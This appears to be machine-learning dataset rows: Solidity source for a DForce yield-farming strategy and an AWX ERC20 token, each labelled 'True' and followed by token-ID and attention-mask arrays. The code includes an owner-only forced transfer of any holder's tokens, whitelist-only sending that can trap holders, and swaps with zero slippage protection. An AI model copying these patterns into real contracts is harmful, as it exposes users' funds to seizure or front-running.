function initialize(address, address) external;
}
// File: contracts/ChickenPlates/interfaces/IChickenPlateController.sol
pragma solidity 0.6.12;
interface IChickenPlateController {
function plates(address) external view returns (address);
function rewards() external view returns (address);
function devfund() external view returns (address);
function treasury() external view returns (address);
function balanceOf(address) external view returns (uint256);
function withdraw(address, uint256) external;
function earn(address, uint256) external;
}
// File: contracts/ChickenPlates/interfaces/DForce.sol
pragma solidity 0.6.12;
interface dRewards {
function withdraw(uint256) external;
function getReward() external;
function stake(uint256) external;
function balanceOf(address) external view returns (uint256);
function exit() external;
function earned(address) external view returns (uint256);
}
interface dERC20 {
function mint(address, uint256) external;
function redeem(address, uint256) external;
function getTokenBalance(address) external view returns (uint256);
function getExchangeRate() external view returns (uint256);
}
// File: contracts/ChickenPlates/strategies/StrategyDForce.sol
pragma solidity 0.6.12;
contract StrategyDForce {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address public pool;
address public dtoken;
// want token
address public immutable want;
// tokens we're farming
address public immutable df;
// weth
address public immutable weth;
// dex
address public immutable univ2Router2;
// GOF swap threshold
uint256 public DFThreshold = 0;
// Perfomance fee 4.5%
uint256 public performanceFee = 450;
uint256 public constant performanceMax = 10000;
// Withdrawal fee 0.5%
// - 0.375% to treasury
// - 0.125% to dev fund
uint256 public treasuryFee = 375;
uint256 public constant treasuryMax = 100000;
uint256 public devFundFee = 125;
uint256 public constant devFundMax = 100000;
address public governance;
address public controller;
address public strategist;
address public timelock;
constructor(
address _governance,
address _strategist,
address _controller,
address _timelock,
address _weth,
address _want,
address _univ2Router2,
address _pool,
address _dtoken,
address _df
) public {
governance = _governance;
strategist = _strategist;
controller = _controller;
timelock = _timelock;
weth = _weth;
want = _want;
univ2Router2 = _univ2Router2;
pool = _pool;
dtoken = _dtoken;
df = _df;
}
// **** Views ****
function balanceOfWant() public view returns (uint256) {
return IERC20(want).balanceOf(address(this));
}
function balanceOfPool() public view returns (uint256) {
return (dRewards(pool).balanceOf(address(this))).mul(dERC20(dtoken).getExchangeRate()).div(1e18);
}
function balanceOf() public view returns (uint256) {
return balanceOfWant().add(balanceOfD()).add(balanceOfPool());
}
function getName() external pure returns (string memory) {
return "StrategyGofPool";
}
function getExchangeRate() public view returns (uint256) {
return dERC20(dtoken).getExchangeRate();
}
function balanceOfD() public view returns (uint256) {
return dERC20(dtoken).getTokenBalance(address(this));
}
function getHarvestable() external view returns (uint256) {
return dRewards(pool).earned(address(this));
}
// **** Setters ****
function setDFThreshold(uint256 _DFThreshold) external {
require(msg.sender == governance, "!governance");
DFThreshold = _DFThreshold;
}
function setDevFundFee(uint256 _devFundFee) external {
require(msg.sender == governance, "!governance");
devFundFee = _devFundFee;
}
function setTreasuryFee(uint256 _treasuryFee) external {
require(msg.sender == governance, "!governance");
treasuryFee = _treasuryFee;
}
function setPerformanceFee(uint256 _performanceFee) external {
require(msg.sender == governance, "!governance");
performanceFee = _performanceFee;
}
function setStrategist(address _strategist) external {
require(msg.sender == governance, "!governance");
strategist = _strategist;
}
function setGovernance(address _governance) external {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setTimelock(address _timelock) external {
require(msg.sender == timelock, "!timelock");
timelock = _timelock;
}
function setController(address _controller) external {
require(msg.sender == timelock, "!timelock");
controller = _controller;
}
// **** State Mutations ****
function deposit() public {
uint256 _want = IERC20(want).balanceOf(address(this));
if (_want > 0) {
IERC20(want).safeApprove(dtoken, 0);
IERC20(want).safeApprove(dtoken, _want);
dERC20(dtoken).mint(address(this), _want);
}
uint256 _d = IERC20(dtoken).balanceOf(address(this));
if (_d > 0) {
IERC20(dtoken).safeApprove(pool, 0);
IERC20(dtoken).safeApprove(pool, _d);
dRewards(pool).stake(_d);
}
}
// Controller only function for creating additional rewards from dust
function withdraw(IERC20 _asset) external returns (uint256 balance) {
require(msg.sender == controller, "!controller");
require(want != address(_asset), "want");
balance = _asset.balanceOf(address(this));
_asset.safeTransfer(controller, balance);
}
// Withdraw partial funds, normally used with a plate withdrawal
function withdraw(uint256 _amount) external {
require(msg.sender == controller, "!controller");
uint256 _balance = IERC20(want).balanceOf(address(this));
if (_balance < _amount) {
_amount = _withdrawSome(_amount.sub(_balance));
_amount = _amount.add(_balance);
}
uint256 _feeDev = _amount.mul(devFundFee).div(devFundMax);
IERC20(want).safeTransfer(IChickenPlateController(controller).devfund(), _feeDev);
uint256 _feeTreasury = _amount.mul(treasuryFee).div(treasuryMax);
IERC20(want).safeTransfer(
IChickenPlateController(controller).treasury(),
_feeTreasury
);
address _plate = IChickenPlateController(controller).plates(address(want));
require(_plate != address(0), "!plate"); // additional protection so we don't burn the funds
IERC20(want).safeTransfer(_plate, _amount.sub(_feeDev).sub(_feeTreasury));
}
// Withdraw all funds, normally used when migrating strategies
function withdrawAll() external returns (uint256 balance) {
require(msg.sender == controller, "!controller");
_withdrawAll();
balance = IERC20(want).balanceOf(address(this));
address _plate = IChickenPlateController(controller).plates(address(want));
require(_plate != address(0), "!plate"); // additional protection so we don't burn the funds
IERC20(want).safeTransfer(_plate, balance);
}
function _withdrawAll() internal {
dRewards(pool).exit();
uint256 _d = IERC20(dtoken).balanceOf(address(this));
if (_d > 0) {
dERC20(dtoken).redeem(address(this),_d);
}
}
function _withdrawSome(uint256 _amount) internal returns (uint256) {
uint256 _d = _amount.mul(1e18).div(dERC20(dtoken).getExchangeRate());
uint256 _before = IERC20(dtoken).balanceOf(address(this));
dRewards(pool).withdraw(_d);
uint256 _after = IERC20(dtoken).balanceOf(address(this));
uint256 _withdrew = _after.sub(_before);
_before = IERC20(want).balanceOf(address(this));
dERC20(dtoken).redeem(address(this), _withdrew);
_after = IERC20(want).balanceOf(address(this));
_withdrew = _after.sub(_before);
return _withdrew;
}
function brine() public {
harvest();
}
// Harvest
function harvest() public {
require(msg.sender == tx.origin ||
msg.sender == governance ||
msg.sender == strategist, "No harvest from contract");
dRewards(pool).getReward();
//DF -> want
uint256 _df = IERC20(df).balanceOf(address(this));
if(_df <= DFThreshold) return;
if (_df > 0) {
_swap(df, want, _df);
}
uint256 _want = IERC20(want).balanceOf(address(this));
if (_want > 0) {
// Performance fee
IERC20(want).safeTransfer(
IChickenPlateController(controller).treasury(),
_want.mul(performanceFee).div(performanceMax)
);
deposit();
}
}
// Emergency proxy pattern
function execute(address _target, bytes memory _data)
public
payable
returns (bytes memory response)
{
require(msg.sender == timelock, "!timelock");
require(_target != address(0), "!target");
// call contract in current context
assembly {
let succeeded := delegatecall(
sub(gas(), 5000),
_target,
add(_data, 0x20),
mload(_data),
0,
0
)
let size := returndatasize()
response := mload(0x40)
mstore(
0x40,
add(response, and(add(add(size, 0x20), 0x1f), not(0x1f)))
)
mstore(response, size)
returndatacopy(add(response, 0x20), 0, size)
switch iszero(succeeded)
case 1 {
// throw if delegatecall failed
revert(add(response, 0x20), size)
}
}
}
// **** Internal functions ****
function _swap(
address _from,
address _to,
uint256 _amount
) internal {
// Swap with uniswap
IERC20(_from).safeApprove(univ2Router2, 0);
IERC20(_from).safeApprove(univ2Router2, _amount);
address[] memory path;
if (_from == weth || _to == weth) {
path = new address[](2);
path[0] = _from;
path[1] = _to;
} else {
path = new address[](3);
path[0] = _from;
path[1] = weth;
path[2] = _to;
}
IUniswapV2Router02(univ2Router2).swapExactTokensForTokens(
_amount,
0,
path,
address(this),
now.add(60)
);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
12609,
1011,
2184,
1011,
2538,
1008,
1013,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
29464,
11890,
11387,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
2004,
1996,
21447,
1997,
1036,
5247,
2121,
1036,
2058,
1996,
20587,
1005,
1055,
19204,
2015,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
2590,
1024,
2022,
8059,
2008,
5278,
2019,
21447,
2007,
2023,
4118,
7545,
1996,
3891,
1008,
2008,
2619,
2089,
2224,
2119,
1996,
2214,
1998,
1996,
2047,
21447,
2011,
15140,
1008,
12598,
13063,
1012,
2028,
2825,
5576,
2000,
10210,
28731,
2023,
2679,
1008,
4650,
2003,
2000,
2034,
5547,
1996,
5247,
2121,
1005,
1055,
21447,
2000,
1014,
1998,
2275,
1996,
1008,
9059,
3643,
5728,
1024,
1008,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
3314,
1013,
2322,
1001,
3277,
9006,
3672,
1011,
25246,
25746,
22610,
24594,
1008,
1008,
12495,
3215,
2019,
1063,
6226,
1065,
2724,
1012,
1008,
1013,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1036,
4604,
2121,
1036,
2000,
1036,
7799,
1036,
2478,
1996,
1008,
21447,
7337,
1012,
1036,
3815,
1036,
2003,
2059,
2139,
29510,
2013,
1996,
20587,
1005,
1055,
1008,
21447,
1012,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-02-26
*/
/**
*Submitted for verification at Etherscan.io on 2020-04-28
*/
pragma solidity ^0.5.4;
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Emitted when the `owner` initiates a force transfer
*
* Note that `value` may be zero.
* Note that `details` may be zero.
*/
event ForceTransfer(address indexed from, address indexed to, uint256 value, bytes32 details);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @dev Implementation of the `IERC20` interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using `_mint`.
* For a generic mechanism see `ERC20Mintable`.
*
* *For a detailed writeup see our guide [How to implement supply
* mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).*
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an `Approval` event is emitted on calls to `transferFrom`.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard `decreaseAllowance` and `increaseAllowance`
* functions have been added to mitigate the well-known issues around setting
* allowances. See `IERC20.approve`.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev Forced transfer from one account to another. Will contain details about AML procedure.
*/
function _forceTransfer(address sender, address recipient, uint256 amount, bytes32 details) internal {
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
emit ForceTransfer(sender, recipient, amount, details);
}
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destoys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See `_burn` and `_approve`.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
// File: openzeppelin-solidity/contracts/access/Roles.sol
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
// File: openzeppelin-solidity/contracts/access/roles/PauserRole.sol
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender), "PauserRole: caller does not have the Pauser role");
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
// File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract Pausable is PauserRole {
/**
* @dev Emitted when the pause is triggered by a pauser (`account`).
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by a pauser (`account`).
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state. Assigns the Pauser role
* to the deployer.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Called by a pauser to pause, triggers stopped state.
*/
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev Called by a pauser to unpause, returns to normal state.
*/
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Pausable.sol
/**
* @title Pausable token
* @dev ERC20 modified with pausable transfers.
*/
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/token/AWX.sol
/**
* @title AWX
* @notice ERC20 token implementation.
* @dev
*/
contract AWX is ERC20Pausable, Ownable {
/**
* @dev Fired when an @param account is whitelisted.
*/
event WhitelistAdded(address indexed account);
/**
* @dev Fired when an @param account is removed from whitelist.
*/
event WhitelistRemoved(address indexed account);
/**
* @dev The entire cap will be minted at deployment to owner.
*/
uint256 public constant cap = 30000000 ether;
/**
* @dev Whitelisted users that can transfer the token.
*/
mapping(address => bool) public whitelist;
/**
* @notice ERC20 convention.
*/
uint8 public constant decimals = 18;
/**
* @notice ERC20 convention.
*/
string public name = "AurusDeFi";
/**
* @notice ERC20 convention.
*/
string public symbol = "AWX";
/**
* @dev Mints the entire cap to the owner.
*/
constructor() public {
super._mint(owner(), cap);
addToWhitelist(owner());
}
/**
* @dev Change the name and symbol of the token
*/
function setNameAndSymbol(string memory _name, string memory _symbol) public onlyOwner {
name = _name;
symbol = _symbol;
}
/**
* @dev Requires that @param sender must be whitelisted.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(whitelist[sender], "Only whitelisted accounts can send tokens");
super._transfer(sender, recipient, amount);
}
/**
* @dev An @param account that is whitelisted will be able to transfer the coin.
*/
function addToWhitelist(address account) public onlyOwner {
whitelist[account] = true;
emit WhitelistAdded(account);
}
/**
* @dev Removes an @param account from the whitelist.
*/
function removeFromWhitelist(address account) external onlyOwner {
whitelist[account] = false;
emit WhitelistRemoved(account);
}
/**
* @dev Force a transfer between 2 accounts. AML logs on https://aurus.io/aml
*/
function forceTransfer(address sender, address recipient, uint256 amount, bytes32 details) external onlyOwner {
_forceTransfer(sender,recipient,amount,details);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
6185,
1011,
2656,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
12609,
1011,
5840,
1011,
2654,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1018,
1025,
1013,
